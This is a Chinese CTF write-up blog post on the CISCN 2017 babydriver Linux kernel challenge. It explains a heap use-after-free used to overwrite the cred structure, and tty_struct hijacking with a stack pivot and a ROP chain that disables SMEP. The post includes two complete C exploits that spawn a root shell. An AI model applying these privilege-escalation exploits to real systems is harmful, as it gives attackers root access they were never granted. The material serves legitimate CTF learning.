Kernel Heap UAF

手腕疼死了,这几天啥都没干成……今天终于好点了

打算先做题,等对内存分配机制有点实感再细看源码

从例题说起

例题:CISCN - 2017 - babydriver

这道题开了-enable-kvm,打断点要用hbreak(硬件断点)

覆写cred结构体

思路就是释放的0xa8的堆块会被重新申请用作cred结构体,这样就能利用UAF将cred结构体的uid、guid改成0

这种方法在较新版本的kernel中已经不可行了,因为新版本在创建cred_jar时设置了SLAB_ACCOUNT标志,当CONFIG_MEMCG_KMEM=y(默认)cred_jar不会和相同大小的kmalloc_192合并

1
2
3
4
5
6
7
// 旧版本cred_init
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
1
2
3
4
5
6
7
// 新版本cred_init
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

可以通过cat /proc/slabinfo查看kmem_cache,本机有cred_jar而qemu起的题目是没有的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "kernel.h"

int main()
{
int fd1 = open_dev("/dev/babydev");
if(fd1 < 0)
fail_print("Open Fail!");
int fd2 = open_dev("/dev/babydev");
if(fd2 < 0)
fail_print("Open Fail!");

ioctl(fd1, 0x10001, 0xa8);
close(fd1);

int pid = fork();
if(pid < 0)
fail_print("Fork Fail!");
else if(pid == 0)
{
char buf[30] = {0};
write(fd2, buf, 28);

if(getuid() == 0)
{
success_print("Get Root Successfully!");
system("/bin/sh");
return 0;
}
else
fail_print("Get Root Fail!");
}
else
wait(NULL);
return 0;
}

Kernel ROP

这种思路类似于FSOP(都是打结构体的跳转表)

劫持/dev/ptmx伪终端的的tty_struct结构体

1
2
3
4
5
6
7
8
9
10
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

……
}

tty_operations跳转表长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);

……
}

由于没有开启SMAP保护,内核态可以访问用户空间数据,所以可以在用户空间布置ROP链和fake tty_operarions,这里劫持write函数的指针,使用一个gadget可以使eax和esp的高4字节为0并交换两者的值

1
0xffffffff8100008a : xchg eax, esp ; ret

调用write函数的指令如下,此时rax是fake_operations的地址,是可控的,使高4字节为0时的地址还在用户空间,可以利用mmap获得这块内存

1
.text:FFFFFFFF814DC0C3                 call    qword ptr [rax+38h]

这样就完成了栈迁移,在mmap的区域布置提权的ROP链就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include "kernel.h"

#define XCHG_EAX_ESP_RET 0xffffffff8100008a
#define POP_RDI_RET 0xffffffff810d238d
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

int main()
{
save_status();

commit_creds = 0xffffffff810a1420;
prepare_kernel_cred = 0xffffffff810a1810;

int fd1 = open_dev("/dev/babydev"), fd2 = open_dev("/dev/babydev");
ioctl(fd1, 0x10001, 0x2e0); // tty_struct结构体大小为0x2e0
close(fd1);

int tty_fd = open_dev("/dev/ptmx");

size_t fake_ops[8] = {0, 0, 0, 0, 0, 0, 0, XCHG_EAX_ESP_RET};
size_t fake_stack = (size_t)(&fake_ops) & 0xffffffff;
size_t * fake_stack_ptr = mmap((size_t)(fake_stack & 0xfffffffffffff000), 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if(!fake_stack_ptr)
fail_print("Mmap Fail!");
fake_stack_ptr = (size_t)fake_stack;

int i = 0;
fake_stack_ptr[i++] = POP_RDI_RET;
fake_stack_ptr[i++] = 0x6f0;
fake_stack_ptr[i++] = MOV_CR4_RDI_POP_RBP_RET;
fake_stack_ptr[i++] = 0;
fake_stack_ptr[i++] = (size_t)get_root_privilige;
fake_stack_ptr[i++] = SWAPGS_POP_RBP_RET;
fake_stack_ptr[i++] = 0;
fake_stack_ptr[i++] = IRETQ_RET;
fake_stack_ptr[i++] = (size_t)get_root_shell;
fake_stack_ptr[i++] = user_cs;
fake_stack_ptr[i++] = user_rflags;
fake_stack_ptr[i++] = user_sp + 8;
fake_stack_ptr[i++] = user_ss;

int tty_cnt = 4 + 4 + 8 + 8;
char buf[0x100];
read(fd2, buf, tty_cnt); // 0xffff880005f03800

*(size_t *)(&buf[tty_cnt]) = &fake_ops;
write(fd2, buf, tty_cnt + 8);

int buf1[] = {0};
write(tty_fd, buf1, 8);
return 0;
}

Kernel Heap UAF
http://akaieurus.github.io/2023/08/16/kernel-heap-uaf/
作者
Eurus
发布于
2023年8月16日
许可协议